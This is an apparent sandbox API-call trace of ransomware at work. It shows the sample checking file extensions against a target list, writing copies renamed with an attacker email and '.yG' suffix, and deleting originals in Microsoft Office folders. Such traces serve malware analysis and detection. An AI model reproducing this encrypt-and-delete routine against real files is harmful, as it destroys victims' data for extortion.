	[0135.081] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0135.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0135.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0135.081] lstrlenW (lpString=".doc") returned 4
	[0135.081] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0135.081] lstrlenW (lpString=".docx") returned 5
	[0135.081] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1
	[0135.081] lstrlenW (lpString=".pdf") returned 4
	[0135.081] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0135.081] lstrlenW (lpString=".xls") returned 4
	[0135.081] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0135.081] lstrlenW (lpString=".xlsx") returned 5
	[0135.081] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1
	[0135.081] lstrlenW (lpString=".ppt") returned 4
	[0135.081] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0135.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0135.081] lstrlenW (lpString=".zip") returned 4
	[0135.081] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0135.081] lstrlenW (lpString=".rar") returned 4
	[0135.081] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0135.081] lstrlenW (lpString=".bz2") returned 4
	[0135.082] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0135.082] lstrlenW (lpString=".7z") returned 3
	[0135.082] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0135.082] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0135.082] lstrlenW (lpString=".dbf") returned 4
	[0135.082] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0135.082] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0135.082] lstrlenW (lpString=".1cd") returned 4
	[0135.082] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0135.082] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0135.082] lstrlenW (lpString=".jpg") returned 4
	[0135.082] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0135.082] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0135.082] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0135.082] lstrlenW (lpString=".doc") returned 4
	[0135.082] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0135.082] lstrlenW (lpString=".docx") returned 5
	[0135.082] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1
	[0135.082] lstrlenW (lpString=".pdf") returned 4
	[0135.082] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0135.082] lstrlenW (lpString=".xls") returned 4
	[0135.082] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0135.082] lstrlenW (lpString=".xlsx") returned 5
	[0135.082] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1
	[0135.082] lstrlenW (lpString=".ppt") returned 4
	[0135.083] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0135.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0135.083] lstrlenW (lpString=".zip") returned 4
	[0135.083] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0135.083] lstrlenW (lpString=".rar") returned 4
	[0135.083] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0135.083] lstrlenW (lpString=".bz2") returned 4
	[0135.083] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0135.083] lstrlenW (lpString=".7z") returned 3
	[0135.083] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0135.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0135.083] lstrlenW (lpString=".dbf") returned 4
	[0135.083] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0135.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0135.083] lstrlenW (lpString=".1cd") returned 4
	[0135.083] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0135.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0135.083] lstrlenW (lpString=".jpg") returned 4
	[0135.083] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0135.083] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0135.083] lstrlenW (lpString="zh-phonetic.xml") returned 15
	[0135.083] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0135.108] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=10947) returned 1
	[0135.108] CloseHandle (hObject=0x390) returned 1
	[0135.108] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml")) returned 0x20
	[0135.108] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0135.108] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0135.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85
	[0135.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85
	[0135.108] lstrlenW (lpString=".doc") returned 4
	[0135.108] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0135.109] lstrlenW (lpString=".docx") returned 5
	[0135.109] lstrcmpiW (lpString1=".docx", lpString2="c.xml") returned -1
	[0135.109] lstrlenW (lpString=".pdf") returned 4
	[0135.109] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0135.109] lstrlenW (lpString=".xls") returned 4
	[0135.109] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0135.109] lstrlenW (lpString=".xlsx") returned 5
	[0135.109] lstrcmpiW (lpString1=".xlsx", lpString2="c.xml") returned -1
	[0135.109] lstrlenW (lpString=".ppt") returned 4
	[0135.109] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0135.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85
	[0135.109] lstrlenW (lpString=".zip") returned 4
	[0135.109] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0135.109] lstrlenW (lpString=".rar") returned 4
	[0135.109] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0135.109] lstrlenW (lpString=".bz2") returned 4
	[0135.109] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0135.109] lstrlenW (lpString=".7z") returned 3
	[0135.109] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0135.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85
	[0135.109] lstrlenW (lpString=".dbf") returned 4
	[0135.109] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0135.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85
	[0135.109] lstrlenW (lpString=".1cd") returned 4
	[0135.109] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0135.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85
	[0135.109] lstrlenW (lpString=".jpg") returned 4
	[0135.109] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0135.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85
	[0135.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85
	[0135.110] lstrlenW (lpString=".doc") returned 4
	[0135.110] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0135.110] lstrlenW (lpString=".docx") returned 5
	[0135.110] lstrcmpiW (lpString1=".docx", lpString2="c.xml") returned -1
	[0135.110] lstrlenW (lpString=".pdf") returned 4
	[0135.110] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0135.110] lstrlenW (lpString=".xls") returned 4
	[0135.110] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0135.110] lstrlenW (lpString=".xlsx") returned 5
	[0135.110] lstrcmpiW (lpString1=".xlsx", lpString2="c.xml") returned -1
	[0135.110] lstrlenW (lpString=".ppt") returned 4
	[0135.110] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0135.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85
	[0135.110] lstrlenW (lpString=".zip") returned 4
	[0135.110] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0135.110] lstrlenW (lpString=".rar") returned 4
	[0135.110] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0135.110] lstrlenW (lpString=".bz2") returned 4
	[0135.110] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0135.110] lstrlenW (lpString=".7z") returned 3
	[0135.110] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0135.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85
	[0135.110] lstrlenW (lpString=".dbf") returned 4
	[0135.110] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0135.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85
	[0135.110] lstrlenW (lpString=".1cd") returned 4
	[0135.110] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0135.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml") returned 85
	[0135.111] lstrlenW (lpString=".jpg") returned 4
	[0135.111] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0135.111] Sleep (dwMilliseconds=0x64) 
	[0135.894] Sleep (dwMilliseconds=0x64) 
	[0136.334] Sleep (dwMilliseconds=0x64) 
	[0136.667] Sleep (dwMilliseconds=0x64) 
	[0136.996] Sleep (dwMilliseconds=0x64) 
	[0137.280] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0137.280] lstrlenW (lpString="DD01145_.WMF") returned 12
	[0137.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488
	[0137.544] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=2780) returned 1
	[0137.544] CloseHandle (hObject=0x488) returned 1
	[0137.544] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf")) returned 0x220
	[0137.547] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0x20
	[0138.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68
	[0138.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68
	[0138.082] lstrlenW (lpString=".doc") returned 4
	[0138.082] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0138.082] lstrlenW (lpString=".docx") returned 5
	[0138.082] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0138.082] lstrlenW (lpString=".pdf") returned 4
	[0138.082] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0138.082] lstrlenW (lpString=".xls") returned 4
	[0138.082] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0138.082] lstrlenW (lpString=".xlsx") returned 5
	[0138.082] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0138.082] lstrlenW (lpString=".ppt") returned 4
	[0138.082] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0138.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68
	[0138.083] lstrlenW (lpString=".zip") returned 4
	[0138.083] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0138.083] lstrlenW (lpString=".rar") returned 4
	[0138.083] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0138.083] lstrlenW (lpString=".bz2") returned 4
	[0138.083] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0138.083] lstrlenW (lpString=".7z") returned 3
	[0138.083] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0138.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68
	[0138.083] lstrlenW (lpString=".dbf") returned 4
	[0138.083] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0138.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68
	[0138.083] lstrlenW (lpString=".1cd") returned 4
	[0138.083] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0138.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68
	[0138.083] lstrlenW (lpString=".jpg") returned 4
	[0138.083] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0138.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68
	[0138.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68
	[0138.083] lstrlenW (lpString=".doc") returned 4
	[0138.083] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0138.083] lstrlenW (lpString=".docx") returned 5
	[0138.083] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0138.083] lstrlenW (lpString=".pdf") returned 4
	[0138.083] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0138.083] lstrlenW (lpString=".xls") returned 4
	[0138.084] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0138.084] lstrlenW (lpString=".xlsx") returned 5
	[0138.084] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0138.084] lstrlenW (lpString=".ppt") returned 4
	[0138.084] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0138.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68
	[0138.084] lstrlenW (lpString=".zip") returned 4
	[0138.084] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0138.084] lstrlenW (lpString=".rar") returned 4
	[0138.084] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0138.084] lstrlenW (lpString=".bz2") returned 4
	[0138.084] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0138.084] lstrlenW (lpString=".7z") returned 3
	[0138.084] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0138.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68
	[0138.084] lstrlenW (lpString=".dbf") returned 4
	[0138.084] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0138.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68
	[0138.084] lstrlenW (lpString=".1cd") returned 4
	[0138.084] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0138.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68
	[0138.084] lstrlenW (lpString=".jpg") returned 4
	[0138.084] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0138.084] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0138.085] lstrlenW (lpString="DD01162_.WMF") returned 12
	[0138.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x424
	[0138.167] GetFileSizeEx (in: hFile=0x424, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=2300) returned 1
	[0138.167] CloseHandle (hObject=0x424) returned 1
	[0138.174] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf")) returned 0x220
	[0138.180] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0138.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0138.180] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0138.180] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0138.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0138.183] GetLastError () returned 0x0
	[0138.183] ReadFile (in: hFile=0x48c, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x8fc, lpOverlapped=0x0) returned 1
	[0138.285] WriteFile (in: hFile=0x42c, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x900, lpOverlapped=0x0) returned 1
	[0138.286] ReadFile (in: hFile=0x48c, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0138.286] WriteFile (in: hFile=0x42c, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0138.286] SetEndOfFile (hFile=0x42c) returned 1
	[0138.293] CloseHandle (hObject=0x42c) returned 1
	[0138.293] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0138.293] SetEndOfFile (hFile=0x48c) returned 1
	[0138.315] CloseHandle (hObject=0x48c) returned 1
	[0138.315] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0138.317] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf")) returned 1
	[0138.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68
	[0138.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68
	[0138.317] lstrlenW (lpString=".doc") returned 4
	[0138.317] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0138.317] lstrlenW (lpString=".docx") returned 5
	[0138.317] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0138.317] lstrlenW (lpString=".pdf") returned 4
	[0138.317] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0138.317] lstrlenW (lpString=".xls") returned 4
	[0138.317] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0138.318] lstrlenW (lpString=".xlsx") returned 5
	[0138.318] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0138.318] lstrlenW (lpString=".ppt") returned 4
	[0138.318] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0138.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68
	[0138.318] lstrlenW (lpString=".zip") returned 4
	[0138.318] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0138.318] lstrlenW (lpString=".rar") returned 4
	[0138.318] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0138.318] lstrlenW (lpString=".bz2") returned 4
	[0138.318] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0138.318] lstrlenW (lpString=".7z") returned 3
	[0138.318] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0138.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68
	[0138.318] lstrlenW (lpString=".dbf") returned 4
	[0138.318] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0138.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68
	[0138.318] lstrlenW (lpString=".1cd") returned 4
	[0138.318] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0138.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68
	[0138.318] lstrlenW (lpString=".jpg") returned 4
	[0138.318] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0138.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68
	[0138.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68
	[0138.319] lstrlenW (lpString=".doc") returned 4
	[0138.319] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0138.319] lstrlenW (lpString=".docx") returned 5
	[0138.319] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0138.319] lstrlenW (lpString=".pdf") returned 4
	[0138.319] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0138.319] lstrlenW (lpString=".xls") returned 4
	[0138.319] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0138.319] lstrlenW (lpString=".xlsx") returned 5
	[0138.319] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0138.319] lstrlenW (lpString=".ppt") returned 4
	[0138.319] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0138.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68
	[0138.319] lstrlenW (lpString=".zip") returned 4
	[0138.319] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0138.319] lstrlenW (lpString=".rar") returned 4
	[0138.319] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0138.319] lstrlenW (lpString=".bz2") returned 4
	[0138.319] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0138.319] lstrlenW (lpString=".7z") returned 3
	[0138.319] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0138.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68
	[0138.319] lstrlenW (lpString=".dbf") returned 4
	[0138.319] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0138.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68
	[0138.320] lstrlenW (lpString=".1cd") returned 4
	[0138.320] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0138.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68
	[0138.320] lstrlenW (lpString=".jpg") returned 4
	[0138.320] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0138.320] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0138.320] lstrlenW (lpString="DD01166_.WMF") returned 12
